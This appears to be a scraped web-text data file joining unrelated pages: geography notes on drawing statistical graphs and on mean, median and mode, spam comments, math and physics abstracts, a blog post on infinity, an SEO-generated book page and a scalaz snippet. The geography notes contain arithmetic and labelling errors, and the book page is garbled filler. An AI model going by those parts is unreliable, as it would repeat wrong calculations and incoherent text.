(°C) 23 24 26 28 29 28 26 26 26 27 26 25\n\n#### The following procedures may be used: 1. Identify the variables. The dependent variable is temperature and the independent variable is months. 2. Determine a vertical scale. 3. Determine the horizontal scale (y-axis) depending on the available space 4. Draw both axes and label them: y-axis for temperature and x-axis for months. 5. Plot the points and join them by a smooth line to make a curve. 6. Insert the title and scale. The following is a simple line graph showing monthly temperature for station X. Average monthly temperature for Station X Source: Hypothetical data Scale • Vertical – 1cm:3°C • Horizontal – 1cm: 1month\n\n1. They are easy to draw, read and interpret.\n2. They show specific values of data\n3. They show patterns in data clearly\n4. They enable the viewer to make predictions about the results of data.\n5. It is easy to read the exact values against plotted points on straight line graphs.\n\n1. They limit presentation of only one data or item over time.\n2. One can change the data of a line graph by not using consistent scales on the axis.\n3. They can give a wrong impression on the continuity of data even when there are periods when data is not available.\n4. They do not give a clear visual impression of the actual quantities.\n\nGroup (comparative) line graph\nA group line graph is the graph that involves drawing more than one line on the same graph. It shows the relationship between sets of similar statistics for two or more items. A group line graph is also known as Comparative line graph, Composite line graph, multiple line graph, Polygraph. Usefulness of a group line graph\n• Comparing different values or trends in two or more data variables.\n• Examining the possibility of a relationship existing between the distributions of a number of variables over time.\n• Comparing the distribution of the same variable at different places.\n\nConstruction:\nThe method of drawing a group line graph is the same as for a simple line graph. Therefore, to draw each single line in a group line graph, follow similar steps used for construction of the simple line graph.\n\n#### The following things should be considered before drawing the graph: 1. The lines drawn should not be uniform in colour, thickness, general appearance, etc 2. The number of lines that a graph can accommodate should not exceed five (5). The following table shows banana production (in tonnes) by three villages in Ingwe Division, Tarime district. These data have been used to plot the group (comparative) line graph as shown below: Village/Year Geisangora Itiryo Bungurere Nyansincha 2000 10 15 25 25 2001 20 10 15 20 Source: Hypothetical data Maize production by three villages between 2000 and 2002 Scale: Vertical scale: 1cm to 5 tones Horizontal scale: 2 cm to 1 year\n\n1. The quantity of each component is shown clearly by different line shadings.\n2. Gives comparative analysis of data\n3. It saves time and space since all the line graphs are drawn as a group.\n\n1. The lines can be overcrowded and hence become difficult to read and interpret if many data are involved. 2. It does not give a clear visual impression of actual quantities. Compound line graph A compound line graph is used to analyse the total and the individual inputs of the specific commodities or economic sectors. The graph involves drawing two or more lines, each line corresponding to one item in a different year or region. The items are differentiated from each other or one another by shading differently. Construction: The table below is used for construction of the graph. The table contains hypothetical figures for mineral exports between 2010 and 2012. Year/Mineral Diamond Gold Tanzanite 2010 10,000 16,000 20,000 2011 20,000 25,000 32,000 2012 25,000 35,000 40,000\n\nProcedure:\n• Simplify the data to make the presentation work easy by dividing each value by 1000. Year /Mineral Diamond Gold Tanzanite 2010 10 16 20 2011 20 25 32 2012 25 35 40\n• Add the values for each year to get the cumulative export\n• Plot the values for mineral exports against years on a graph. Usually the line graph for data with the highest values is drawn first.\n• Draw the second line graph above the first one to show the next component. To get the values for plotting the second line graph, add the values of the first\n• Draw the line graph for the last item (diamond) above that of the second item.\n• Shade the component parts between the line graphs using different shadings.\n• Label the axes, show the key and indicate the scale used to construct the graph.\n\n1. Total values are shown clearly shown\n2. It gives good visual impression which encourage understanding and interpreter\n3. Combining all graphs in one saves space.\n\n1. Graph construction is difficult and time-consuming.\n2. It involves a lot of calculations which are difficult and time-consuming.\n3. Reading and interpretation the value is difficult\n\nDivergent line graph\nAre graphs which represents negative (minus value) and positive (plus value) around a mean. They are loss and gain graphs which show divergence or variation between export and import or profit and loss etc. The mean is represented by zero axis drawn horizontally across the graph paper. Year Yield (tonnes) 2012 1000 2013 1500 2014 500 2015 3000\n\nConstruction\n• Sum up the values of all items or commodities. 1000 + 1500 + 500 + 3000 = 6000 • Calculate the arithmetic mean (average) of the values.\n• Calculate the deviation from the mean of each value as shown in the table below. Deviation from the mean value Year X X – 2012 1000 -500 2013 1500 0 2014 500 -1000 2015 3000 +1500\n• Plot the graph using the values of deviation from the mean; and remember to include the title and scale of the graph.\n\n1. It clearly shows how items fluctuate from the mean.\n2. It compares the values of the items and hence facilitates a sound conclusion.\n3. It shows both the positive (profit) and negative (loss) phenomena. 4. It is easy to construct, read and interpret.\n\n1. It involves many calculations and hence time-consuming.\n2. It might be difficult to interpret if one lacks statistical skills.\n3. It is applicable for only one item per graph.\n\nBAR GRAPHS\nAre graphs drawn to show variation of distribution of items by means of bars. The bars should be separated from one another by a space. A bar graph is also called bar chart or columnar graph. Types of bar graphs:\na. Simple bar graphs\nb. Group or comparative bar graphs\nc. Compound bar graphs\nd. Divergent bar graphs\n\nSimple bar graph\nA simple bar graph is drawn to show a single item per bar and represents simple data. Consider the data in the table below which shows the value of sisal exported by Tanzania between 1900 and 1993: Year Sisal export (Tsh ‘000) 1990 106126 1991 107430 1992 142601 1993 161180 1994 202425\n\nConstruction:-\n1. Choose the appropriate scale.\n2. Draw the axes and insert the bars. All the bars must have the same width and spacing.\n4. Insert vertical and horizontal scales and the title. Tanzania sisal export Scale: 1 cm to 50,000 tonnes\n\nAdvantages of a simple bar graph\n1. It is simple to construct, read and interpret.\n2. It has a good visual impression.\n3. It can be used to compare how the amount of an item varies from time to time.\n\nDisadvantages of a simple bar graph\n1. It is limited to only one item or commodity and hence not suitable for massive data.\n2. Not suitable for continuous data such as temperature.\n\nGroup (comparative) bar graph\nA comparative bar graph consists of several bars drawn side by side on the same chart for the purpose of comparison. The technique involves grouping of bars in a chart. The graph can be used to show how production of certain commodities varies each year.\n\nConstruction:\nThe procedure for construction of the comparative bar graph is similar to that of drawing the simple bar graph except that the simple bar graph contains a single bar while the comparative bar graph comprises of multiple bars. Consider the data in the table below, showing agricultural production in metric tonnes.\n\n#### Year/Commodity 1986 1987 1988 Sorghum 1200 5000 8000 Tea 9000 7000 6000 Tobacco 3000 5000 4000 The graph for the data is as shown below. Group (comparative) bar graph showing crop yields in ‘000 kg (1986-1988)\n\nAdvantages of a group bar graph\n1. The total values are expressed well for illustration of points.\n2. It is easy to construct, read and interpret.\n3. The importance of each component is shown clearly.\n\nDisadvantages of a group bar graph\n1. It is difficult to compare the totals of each item/component.\n2. Trends such as fall and rise cannot be shown easily.\n\nCompound (divided) bar graph\nThis is a method of data presentation that involves construction of bars which are divided into segments to show both the individual and cumulative values of items. The length of each segment represents the contribution of an individual item in the total length while that of the whole bar represents the total (cumulative) value of the different items in each group.\n\nConstruction\n• Get the data needed for presentation. For example, consider the table below, which shows the number of tourists who visited the named Tanzania National Parks from 1998 to 2002. Year /park 1998 1999 2000 2002 2003 Manyara 120,000 160,000 172,000 170,000 203,000 Serengeti 175,000 160,000 148,000 185,010 201,000 Tarangire 29,000 30,000 54,100 79,000 102,000 Mikumi 100,000 110,000 111,000 150,000 183,400\n• Simplify the data (to make the presentation work easy) by dividing each value by 10,000. Then add the values to get the total for each year. The simplified data are as shown in the table below.\n• Determine the scale of the bar length based on the highest total value. In this case, the highest total value is 68 (20 + 20 + 10 + 18).\n• Decide on the bar spacing, for example, 1 cm apart.\n• Draw the axes and label them.\n• Start by drawing bars that represent the highest values.\n• The first sets of bars to be drawn are those that represent the highest values. On top of these, the second highest segments are drawn. The last segments to be drawn are those with the lowest values in general.\n• To make it easy to follow the rise and fall of individual values, a soft line could be drawn across bars to separate individual segments.\n• Colour or shade the segments to improve the appearance and simplify interpretation.\n• Inset the scales, key and title. Compound (divided) bar graphs showing tourist visits in 0’000 (1998-2002)\n\nAdvantages of compound (divided) bar graph\n1. It is easy to read and interpret as the totals are clearly shown.\n2. It gives a clear visual impression of the total values.\n3. It clearly shows the rise and fall in the grand total values.\n\nDisadvantages of compound (divided) bar graph\n1. The values of individual segments above the first set are difficult to establish because they don’t start at zero. To get the correct values of the top segments, you have to add the figures, which is difficult for someone not well equipped with statistical skills.\n2. The graph is very difficult to construct and interpret.\n3. It is not easy to represent a large number of components as this would involve very long bars with many segments.\n\nDivergent bar graph\nA divergent bar graph is a graph which shows the fluctuation of individual items from the mean.\n\nConstruction:\n1. Calculate the arithmetic mean (average) of the items.\n2. Subtract the mean from each item.\n3. Draw the graph using the resulting values.\n4. Insert the scale and title of the graph. The data below show the enrolment of Form One students at Mara Secondary School from 1980–1985. Study the table and present the data by a divergent bar graph. Year Number of students 1980 100 1981 150 1982 175 1983 200 1984 225 1985 300 Procedure: • Find the arithmetic mean:\n• Subtract the mean from each item: Year Number of students X – 1980 100 -92 1981 150 -42 1982 175 -17 1983 200 8 1984 225 33 1985 300 108\n• Choose a suitable scale and construct the graph using the obtained values (X – ). A divergent bar graph showing student enrolment (1980-1985)\n\n1. Fluctuation in values, which helps to detect the problem in general terms, is shown.\n2. It is important for comparison of positives and negatives.\n3. Profit (success) or loss (failure) can easily be deduced.\n4. They are simple to construct, read and interpret.\n\n1. Graph construction is time-consuming since it involves many steps.\n2. The calculations involved may be difficult to someone who is poor at mathematics.\n3. It is limited to analysis of only one variable.\n\nDivided circles (pie charts)\nA divided circle is also known as pie chart, circle chart or pie graph. The chart involves dividing the circle into “pie slices” to represent and show relative sizes of data. The size of each slice or segment is always proportional to the value it represents.\n\nDivided circles can appear in two forms:\na. Simple divided circles.\nb. Proportional divided circles. A simple divided circle involves a single set of data whereas the proportional divided circle involves more than one set of data such that the circles will be proportional to the total quantity that each circle represents.\n\nSimple divided circle Construction:\n• Obtain the data to work on. Study this hypothetical record showing enrolment of Form One students in selected Secondary Schools in Tarime District: A table showing student enrolment in selected schools in Tarime District Name of school Number of students Nyansincha 85 Bungurere 80 Nyanungu 78 Magoto 78 Tarime 65 Nyamongo 70 Total 456\n• Calculate the total number of students as shown in the table.\n• Calculate the angle in a circle that would represent the number of students enrolled in each school. For example, 85 out of 456 students enrolled in Nyansincha Secondary School will be represented in the circle by a segment with an angle of 85/456 ×630 = 67 degrees. This will give the following results. Name of school Number of students Degrees Nyansincha 85 67° Bungurere 80 63° Nyanungu 78 62° Magoto 78 62° Tarime 65 51° Nyamongo 70 55° Total 456 360°\n• Draw a circle of a reasonable size.\n• Using a protractor, draw a radius from the 6 o’clock mark to the centre of the circle.\n• Starting with the largest segment representing a specific component, measure and draw its angle from the centre of the circle.\n• Do the same for other components in ascending order.\n• Divide a circle into segments according to the sizes of the angles.\n• Shade the segments and write the title and key of the drawn graph. Student enrolment in selected Secondary Schools in Tarime District\n\n1. It is easy to compare components as they are represented by angles.\n2. Analysis and interpretation of data is easy.\n3. It is easy to assess the proportion of individual components against the total.\n4. Construction of this graphical representation is relatively simple.\n5. It is easy to determine the value of each component since it is indicated on each segment.\n6. Visual impression of the individual components is clear and facilitates the understanding of the information in the data.\n\n1. It is time-consuming because it involves a lot of calculations.\n2. The represented actual values remain hidden as the values shown on the faces of the segments may be in percentages.\n3. Where the range of data is large and involves small and big values, accurate construction of the chart is difficult.\n4. When the values of data set vary slightly, it is difficult to visualize the proportional differences between values (as it is the case in the pie chart above).\n\nThe Importance of Statistics to the User Statistics is important in geography because of the following reasons:\n1. It enables the geographers to handle large sets of data and summarize them in a way that can be easily understood.\n2. Statistics is very useful for planning at local and national levels. For example, statistics on census can be used to plan for social services.\n3. It can also enable the geographers to make comparisons between geographical phenomena, e.g. to compare the amount of rainfall and agriculture production or population distribution in different regions, etc. 4. Statistics translates data into mathematical ways which make the application of quantitative techniques possible.\n5. It enables the geographers to store the information in forms of numbers, graphs, tables, charts, etc.\n6. Statistics give precise rather than generalized information. This offers a lot of satisfaction to the user.\n\nSUMMARIZATION OF MASSIVE DATA\nThe massive data collected from the field have to be summarized so as to make it easy to read, interpret and apply. The massive data can be summarized by the following ways:\n1. Frequency distribution A frequency distribution shows a summarized grouping of data divided into mutually exclusive classes and the number of occurrences in a class. It is a way of showing unorganized data e.g. to show results of an election, income of people for a certain region, sales of a product within a certain period, student loan amounts, etc.\n\n#### These are 0.5 below or above the apparent limits. From the above summarized data, other measures of statistics can be deduced. Such measures include the measures of central tendency, measures of dispersion (variability), measures of relationship (correlation) and measures of relative position.\n\nMETHODS OF PRESENTING SIMPLE AND MIXED DATA\nMeasures of central tendency (averages) A measure of central tendency is a single value that attempts to describe a set of data by identifying the central position within that set of data. As such, measures of central tendency are sometimes called measures of central location.\n\n#### Disadvantages 1. It is greatly affected by extreme values of the data 2. It cannot be obtained if a single observation (item) is missing 3. It is not appropriate in some distributions\n\nMedian\nThe median is the middle score for a set of data that has been arranged in order of magnitude.\n\n#### So, if we look at the example below: 65, 55, 89, 56, 35, 14, 56, 55, 87, 45 We again rearrange the data in order of magnitude (smallest first): 14, 35, 45, 55, 55, 56, 56, 65, 87, 89 Only now we have to take the 5th and 6th score in our data set and average them to get a median of 55.5.\n\n1. It is easy to calculate and understand\n2. It can also be calculated in qualitative data\n3. It is appropriate for skewed distribution\n4. It is not affected by all extreme observations. Hence, it is a better average than the arithmetic mean when extreme observations are present.\n5. The values of a median can be obtained graphically.\n\n1. It is not suitable for further mathematical treatment.\n2. It is not rigidly defined.\n3. It is based on all values or observations.\n4. Compared to mean, median is more affected by fluctuation of sampling.\n5. In case of ungrouped data, rearrangement of values in order of magnitude becomes necessary.\n\nMode\nThe mode is the most frequent score in a data set. It represents the highest bar in a bar chart or histogram. You can, therefore, sometimes consider the mode as being the most popular option. An example of a mode is presented below:\n\n1. It is simple to compute.\n2. It is easy to understand and calculate. In some cases it can be located merely by inspection. The value of the mode can be obtained graphically from the histogram.\n3. It gives a rough idea of the differences of the data set.\n4. It is the only average that can be used when the data is not numerical.\n\n1. It is not rigidly defined; hence it is unstable for large samples.\n2. It is independent of sample size except under special circumstances.\n3. It is not based on all the values of the data.\n4. Mode is not suitable for further mathematical treatment.\n5. As compared to mean, mode is affected to a great extent by the fluctuation of sampling.\n6. There may be more than one mode (as is the case in the previous graph).\n7. There may be no mode at all if none of the data are the same.\n8. It may not accurately represent the data.\n\nThe Significance of Mean, Mode and Median\nMeasures of central tendency are very useful in statistics. Their importance is because of the following reasons:\n\n#### Measures of central tendency can be calculated from grouped data, for example: Calculation of measures of central tendency for grouped data Study the frequency distribution table below: Calculation from the table: Assumed mean (A) = 12 Note: we find the class interval by using the class limits as follows: i = upper class limit – lower class limit + 1 Importance of statistics Helps in the comparison of different geographical phenomena for example climate, population, commodity and production Used to summarize raw and bulk data for easy interpretative and visual explanation It facilitates land use planning Helps resources allocation and provision of social services for example food, health, water, education. Makes it easy to compare data Its knowledge simplifies research activities\n\n1.",
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"Cassandra\n\nI do not know if it’s just me or if everybody else encountering issues with your site.\nIt seems like some of the text in your content are running off the screen. Can someone else please provide feedback and let me\nknow if this is happening to them as well? This might be a issue with my browser because\nI’ve had this happen before. Thanks\n\n2. excellent points altogether, you just won a new reader.\nWhat might you recommend in regards to your\npost that you made some days ago? Any certain?\n\n3. Hey just wanted to give you a brief heads up and let you know a"
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http://mfat.imath.kiev.ua/article/?id=686 | [
"Open Access\n\n# On exit space extensions of symmetric operators with applications to first order symmetric systems\n\n### Abstract\n\nLet $A$ be a symmetric linear relation with arbitrary deficiency indices. By using the conceptof the boundary triplet we describe exit space self-adjointextensions $\\widetilde A^\\tau$ of $A$ in terms of a boundary parameter $\\tau$. We characterize certain geometrical properties of $\\widetilde A^\\tau$ and describe all $\\widetilde A^\\tau$ with ${\\rm mul}\\, \\widetilde A^\\tau=\\{0\\}$. Applying these results to general (possibly non-Hamiltonian) symmetric systems $Jy'- B(t)y=\\Delta(t)y, \\; t \\in [a,b\\rangle,$ we describe all matrix spectral functions of theminimally possible dimension such that the Parseval equality holdsfor any function $f\\in L_\\Delta^2([a,b \\rangle)$.\n\nKey words: Symmetric relation, exit space extension, boundary triplet, first order symmetric system, spectral function.\n\n### Article Information\n\n Title On exit space extensions of symmetric operators with applications to first order symmetric systems Source Methods Funct. Anal. Topology, Vol. 19 (2013), no. 3, 268-292 MathSciNet MR3136731 zbMATH 1289.47046 Milestones Received 21/03/2013; Revised 02/04/2013 Copyright The Author(s) 2013 (CC BY-SA)\n\n### Authors Information\n\nV. I. Mogilevskii\nDepartment of Mathematical Analysis, Lugans'k Taras Shevchenko National University, 2 Oboronna, Lugans'k, 91011, Ukraine\n\n### Citation Example\n\nV. I. Mogilevskii, On exit space extensions of symmetric operators with applications to first order symmetric systems, Methods Funct. Anal. Topology 19 (2013), no. 3, 268-292.\n\n### BibTex\n\n@article {MFAT686,\nAUTHOR = {Mogilevskii, V. I.},\nTITLE = {On exit space extensions of symmetric operators with applications to first order symmetric systems},\nJOURNAL = {Methods Funct. Anal. Topology},\nFJOURNAL = {Methods of Functional Analysis and Topology},\nVOLUME = {19},\nYEAR = {2013},\nNUMBER = {3},\nPAGES = {268-292},\nISSN = {1029-3531},\nMRNUMBER = {MR3136731},\nZBLNUMBER = {1289.47046},\nURL = {http://mfat.imath.kiev.ua/article/?id=686},\n}"
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https://blog.mathnasium.com/ask-education-what-is-infinity-part-2/ | [
"# Ask Education: What is Infinity? (Part 2)\n\nBy Mathnasium | March 30, 2022\n\nOur expert team of math educators and enthusiasts has spent over 40 years developing and refining the most powerful teaching methods and materials into the comprehensive, industry-leading Mathnasium Method™. These “Ask Education” features are a way for the Education team members to share their knowledge and love of math with our curious readers and fans.\n\nHi, Mathnasium! What is infinity?\n\n~ Saakshi K.\n\nIn our previous “What is infinity?” blog post (part 1), we looked at the concept of infinity. We established that infinity is not a number and does not behave the same way numbers do; it is greater than any real number and is the idea of real numbers being endless.\n\n# Infinity Applied to the Real World\n\nAs we navigate the real world, opportunities arise to observe the properties of infinity. The following are some scenarios of infinity in action.\n\nQuestion: Infinitely many students wait in line outside a classroom. Another student joins the line. How many students are now waiting in line?\n\nAnswer: One plus an infinite amount of students is still an infinite amount of students. Any number added to infinity still leaves us with infinity!\n\nQuestion: Infinitely many students join the line of already infinitely many students waiting outside a classroom. How many students are now waiting in line?\n\nAnswer: We still have infinitely many students in line!\n\nQuestion: Three siblings decide to leave the line of infinitely many students. How many students are left in line?\n\nAnswer: Taking a finite amount from an infinite amount still leaves us with infinite students.\n\nOne popular demonstration of infinity is the Hilbert’s Hotel Paradox, which illustrates that a hotel with infinite rooms, even if they’re all occupied, can still accommodate an endless number of guests.\n\nMany misconceptions arise about infinity because it does not behave as real numbers do. Remember that:\n\nInfinity is endless. We cannot travel far enough to get there since there is no end. We do not need to define any end to infinity, which makes it simpler to work with than things with an end.\n\nInfinity just IS — it is not growing or getting larger. It already is.\n\n# Infinite Sets\n\nOnce understanding of this concept grows, infinity can become captivating. For example, did you know there are types of infinity?\n\nNot all infinities are the same. The two main types of infinity are countable and uncountable. Countable means we could count all the numbers in the set in an infinite amount of time, whereas uncountable means we could not.\n\nAn infinite set is any set that has an endless number of elements, for example, all integers {…, -2, -1, 0, 1, 2, …}, all even numbers {…, -4, -2, 0, 2, 4, …}, all odd numbers {…, -5, -3 -1, 1, 3, 5…}, and all square numbers {0, 1, 4, 9, 16, …}. These are all countable infinite sets because we can pair each number in the set with a natural number (known as a bijection).\n\nInteresting fact: There are exactly the same amount of numbers between 0 and 1 as there are between 0 and 2. Isn’t that incredible?\n\nDespite containing infinite numbers, the sizes of infinite sets can differ. Uncountable infinite sets, however, contain so many elements that we cannot make a pairing (bijection) with the set of natural numbers.\n\nInteresting fact: Cantor’s Diagonal demonstrates the idea of uncountable infinity, where there are infinitely many real numbers and infinitely many positive integers, but the number of items in the set of real numbers is bigger than the number of items in the set of positive integers.\n\nWe know this idea of something having no end can be challenging to process. It remains unproven whether the universe is infinite or finite in size. Our human intuition about magnitude makes it hard to fathom the enormity of infinity, let alone its properties. But the beauty of mathematics and our universe is that they open us to think beyond the limits of our minds.\n\nIf you would like to learn more about infinity or discuss any other mathematical concepts, reach out to your nearest Mathnasium Learning Center. They would be happy to talk to you!\n\nReaders: Do YOU have a math-related question you’d like our education team to answer? Submit it at: http://bit.ly/AskMathnasiumEducation."
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https://syfexirakenoge.abcdfestivalgoa.com/how-to-work-with-data-probability-grade-4-book-24771wj.php | [
"Last edited by Akirg\nWednesday, May 6, 2020 | History\n\n5 edition of How To Work with Data & Probability, Grade 4 found in the catalog.",
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"# How To Work with Data & Probability, Grade 4\n\n## by TEACHER CREATED RESOURCES\n\nWritten in English\n\nSubjects:\n• Education / Teaching Methods & Materials / Mathematics,\n• Teaching Methods & Materials - Mathematics,\n• Education,\n• Education / Teaching\n\n• The Physical Object\nFormatPaperback\nNumber of Pages48\nID Numbers\nOpen LibraryOL11817670M\nISBN 101420637401\nISBN 109781420637403\nOCLC/WorldCa59282260\n\nThe probability is the same because there are 3 odd numbers and 3 even numbers. 5. What is the probability of the spinner landing on red? 2 out of 4 6. What is the probability of the spinner landing on orange? 1 out of 4 7. What is the probability of the spinner landing on a primary color? 3 out of 4 8. Free Printable Math Worksheets for Grade 4. This is a comprehensive collection of free printable math worksheets for grade 4, organized by topics such as addition, subtraction, mental math, place value, multiplication, division, long division, factors, measurement, fractions, and decimals. They are randomly generated, printable from your.\n\n5th grade probability Skill: Introduction to probability. How likely is it that snow will fall in August? Remember there are possibilities between definite and impossible. This math worksheet introduces your child to probability with common sense statements to plot on a line. Probability lines help visualize answers. Probability scale 0 to 1. Grade Probability Game: Investigating 8-Sided Dice Roll and Illustration writing math and science differently; this activity will open your students' minds and encourages them to think critically at math and strengthen his or her math knowledge of probability.\n\nYou might also like\nday with Josephine and her friends\n\nday with Josephine and her friends\n\nLand use planning and pollution control.\n\nLand use planning and pollution control.\n\nWest Point\n\nWest Point\n\nA looking-glass for Elder Clarke and Elder Wightman, and the church under their care.\n\nA looking-glass for Elder Clarke and Elder Wightman, and the church under their care.\n\nPricing Practices of Miss Mary Maxim Ltd.\n\nPricing Practices of Miss Mary Maxim Ltd.\n\nHalf broke horses\n\nHalf broke horses\n\ngrey widow-maker\n\ngrey widow-maker\n\nThe impact of the credit crunch on small business\n\nThe impact of the credit crunch on small business\n\nIn her chosen field\n\nIn her chosen field\n\nA beginning teachers guide to special educational needs\n\nA beginning teachers guide to special educational needs\n\nNew Solar Homes Partnership new construction home buyers market research report\n\nNew Solar Homes Partnership new construction home buyers market research report\n\nLondon street finder\n\nLondon street finder\n\n### How To Work with Data & Probability, Grade 4 by TEACHER CREATED RESOURCES Download PDF EPUB FB2\n\nBelow, you will find a wide range of our printable worksheets in chapter Probability of section Data, Graphs, and worksheets are appropriate for Fourth Grade have Grade 4 book many worksheets covering various aspects of this topic, possible outcomes, organized lists, making predictions, fractions and probability, combinations, and many more.\n\nChances Are - predict the likelihood of events using a circle graph with percentages as a model ; Coin Toss - toss enough coins to make a prediction about probability (maximum number of tossesbut you can keep tossing to get a larger data set) ; Hand Squeeze - (a data collection and analysis class experiment) - Pass a \"hand squeeze\" around a circle and measure the amount of time that it.\n\nIt’s a safe bet that our probability worksheets will help fourth grade students make heads and tails of probability. These fourth grade worksheets use visual aides, word problems, and kid-centric themes to keep kids engaged.\n\nKids will also gain extra practice with fractions as they solve problems and summarize information. Tapping and Hugs for Managing Strong Emotions. Physical touch through tapping and hugging can be a wonderful way to regulate emotions.\n\nIn this social emotional learning activity, your child will explore the power of tapping or hugging to help them calm down and relieve feelings of stress or anxiety. 4th grade. Matching and Displaying Data. Emily Thulier from Bruce-monroe Elementary School. Location: 4th Grade Math Description: This unit teaches the basic concepts involved in creating bar graphs, line graphs, line plots, circle Grade 4 book, and other common graph forms.\n\nThe lessons tea. 57 rows Do You Wanna Bet. Your Chance to Find Out About Probability: Cuschman, Jean: 7–. Probability (Grade 4) Give students practice with probability, graphs, and tables.\n\nIn this math worksheet, students read tally tables and a bar graph to compare the number of items and determine which scenario is most or least likely. This page contains all our printable worksheets in section Data, Graphs, and Probability of Fourth Grade you scroll down, you will see many worksheets for organizing data, data: interpret and graph, probability, and more.\n\nA brief description of the worksheets is on each of the worksheet widgets. Improve your math knowledge with free questions in \"Understanding probability\" and thousands of other math skills. Probability worksheets for kids from grade 4 and up include probability on single coin, two coins, days in a week, months in a year, fair die, pair of dice, deck of cards, numbers and more.\n\nMutually exclusive and inclusive events, probability on odds and other challenging probability worksheets are useful for grade 6 and up students. Test (KTCA) grade 4/5: Probability Test grade 5 Probability Test grade 4 Note – I spelled “sundae” wrong in the above tests – hope you caught that one 🙂 Slightly updated tests and an example of a teachers copy (with answers): Probability Test grade 4 Probability Test grade 4 teacher copy.\n\n/ 4 4 2 3 IntroDuCtIon Data Management and Probability, Grades 4 to 6 is a practical guide that teachers will find useful in helping students to achieve the curriculum expectations outlined for Grades 4 to 6 in the Data Management and Probability strand of The Ontario Curriculum, Grades 1–8: Mathematics, This guide provides teachers.\n\nCard Spinner Experiment (Basic) Try this spinner experiment to test the mathematical and experimental probability of spinning diamonds, spades, clubs, or hearts on a spinner.\n\n4th through 7th Grades. View PDF. Coin Flip Experiment (Basic) Try this coin-flipping experiment to test your hypothesis on probability.\n\nExample: the chances of rolling a \"4\" with a die. Number of ways it can happen: 1 (there is only 1 face with a \"4\" on it). Total number of outcomes: 6 (there are 6 faces altogether). So the probability = 1 6. Everyday Mathematics is divided into Units, which are divided into Lessons.\n\nIn the upper-left corner of the Study Link, you should see an icon like this: The Unit number is the first number you see in the icon, and the Lesson number is the second number. In this case, the student is working in Unit 5, Lesson 4.\n\nContinuous Probability Distributions. When you work with continuous probability distributions, the functions can take many forms. These include continuous uniform, exponential, normal, standard normal (Z), binomial approximation, Poisson approximation, and.\n\nTIPS4Math Grade 4 Probability Overall Expectations Students will: • Collect and organize discrete primary data and display the data using charts and graphs, including stem File Size: KB. Probability (5th grade) What's the chance of getting heads in a coin toss.\n\nThis math worksheet introduces your child to probability with common sense questions and probability. Explore what probability means and why it's useful. Explore what probability means and why it's useful. If you're seeing this message, it means we're having trouble loading external resources on our website.\n\nIf you're behind a web filter, please make sure that the domains. Probability, Fourth 4th Grade Math Standards, 4th Grade Data Analysis, Grade Level Help, Internet 4 Classrooms Internet resources: teachers, students, children, parents Questions to test your ability to work out the probability of picking specific cards from a pack of playing cards.\n\nIf you are using this Practice Book with another curriculum, use the tables of pages grouped by skill (iii–x) to assign pages based on the skills they address, rather than in order by page number. Bridges in Mathematics Grade 4 Practice Book Blacklines The Math Learning Center, PO BoxSalem, Oregon Tel.\n\n1 –Improve your math knowledge with free questions in \"Find the probability\" and thousands of other math skills.Learn fourth grade math—arithmetic, measurement, geometry, fractions, and more.\n\nThis course is aligned with Common Core standards. If you're seeing this message, it means we're having trouble loading external resources on our website."
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https://sanj.ink/posts/2016-06-28-scalaz-try-operations.html | [
"If you are looking to use scalaz to get some additional functionality for your vanilla `scala.util.Try` class, then you’ve got a couple of options. This can be confusing at first because you might not know which import to use.\n\n### 1. Functions that accept a Try instance\n\nTo import only functions that must be supplied a Try instance use:\n\n``import scalaz.std.`try`._``\n\nThis will give you functions of the form:\n\n``````def cata[A, B](t: Try[A])(success: A => B, failure: Throwable => B): B\n\ndef toDisjunction[A](t: Try[A]): Throwable \\/ A\n\ndef fromDisjunction[T <: Throwable, A](d: T \\/ A): Try[A]\n\ndef toValidation[A](t: Try[A]): Validation[Throwable, A]\n\ndef toValidationNel[A](t: Try[A]) : ValidationNel[Throwable, A]\n\ndef fromValidation[T <: Throwable, A](v: Validation[T, A]) : Try[A]``````\n\nExample:\n\n``cata(Try(..))(..)``\n\nTo get a pimped up version of Try use:\n\n``import scalaz.syntax.std.`try`._``\n\nThis will give you functions directly on your Try instance:\n\n``````final def cata[B](success: A => B, failure: Throwable => B): B\n\nfinal def toDisjunction: Throwable \\/ A\n\nfinal def toValidation: Validation[Throwable, A]\n\nfinal def toValidationNel: ValidationNel[Throwable, A]``````\n\nExample:\n\n``Try(..).cata(..)``"
]
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https://libguides.polk.edu/c.php?g=519822&p=3555355 | [
"Skip to main content\nIt looks like you're using Internet Explorer 11 or older. This website works best with modern browsers such as the latest versions of Chrome, Firefox, Safari, and Edge. If you continue with this browser, you may see unexpected results.\n\n# MAT0018 Additional resources - Oliver: Solving Equations\n\nAdditional resources that may prove useful to MAT0018 Developmental I math students\n\n## Solving Equations - Primer\n\n• Definitions:\nq A Term is a constant or the product of a constant and one or more variables.\n\nq If a term contains a variable it is called a variable term.\n\nq A number multiplied by the variable is called a coefficient.\n\nq A term with no variable is called a constant term.\n\n• Equations can take 4 forms in this course.\n\n1. x + a = b\n\n2. ax = b\n\n3. ax + b = c\n\n4. ax + b = cx + d\n\n## Survey\n\n• Were there any of these videos that need improvement?\nSurvey\nEquation type 1: x + 2 = 5: 1 votes (33.33%)\nEquation type 2: 3x = 12: 1 votes (33.33%)\nEquation type 3: 2x + 2 = 12: 1 votes (33.33%)\nEquation type 4: 3x + 2 = 2x - 1: 0 votes (0%)\nTotal Votes: 3\n\nPolk State College is committed to equal access/equal opportunity in its programs, activities, and employment. For additional information, visit polk.edu/equity."
]
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https://experts.mcmaster.ca/display/publication220960 | [
"Interlayer coupling andc-axis quasiparticle transport in high-Tccuprates Academic Article",
null,
"•\n• Overview\n•\n• Research\n•\n• Identity\n•\n• Additional Document Info\n•\n• View All\n•\n\nabstract\n\n• The c-axis quasiparticle conductivity shows different behavior depending on the nature of the interlayer coupling. For coherent coupling with a constant hopping amplitude $t_{\\perp}$, the conductivity at zero frequency and zero temperature $\\sigma(0,0)$ depends on the direction of the magnetic field, but it does not for angle-dependent hopping $t(\\phi)$ which removes the contribution of the nodal quasiparticles. For incoherent coupling, the conductivity is also independent of field direction and changes only when paramagnetic effects are included. The conductivity sum rule can be used to determine the admixture of coherent to incoherent coupling. The value of $\\sigma(0,0)$ can be dominated by $t_{\\perp}$ while at the same time $t(\\phi)$ dominates the temperature dependence of the superfluid density.\n\npublication date\n\n• February 1, 2001"
]
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"https://experts.mcmaster.ca/images/individual/uriIcon.gif",
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https://statstuneup.com.au/correlation/ | [
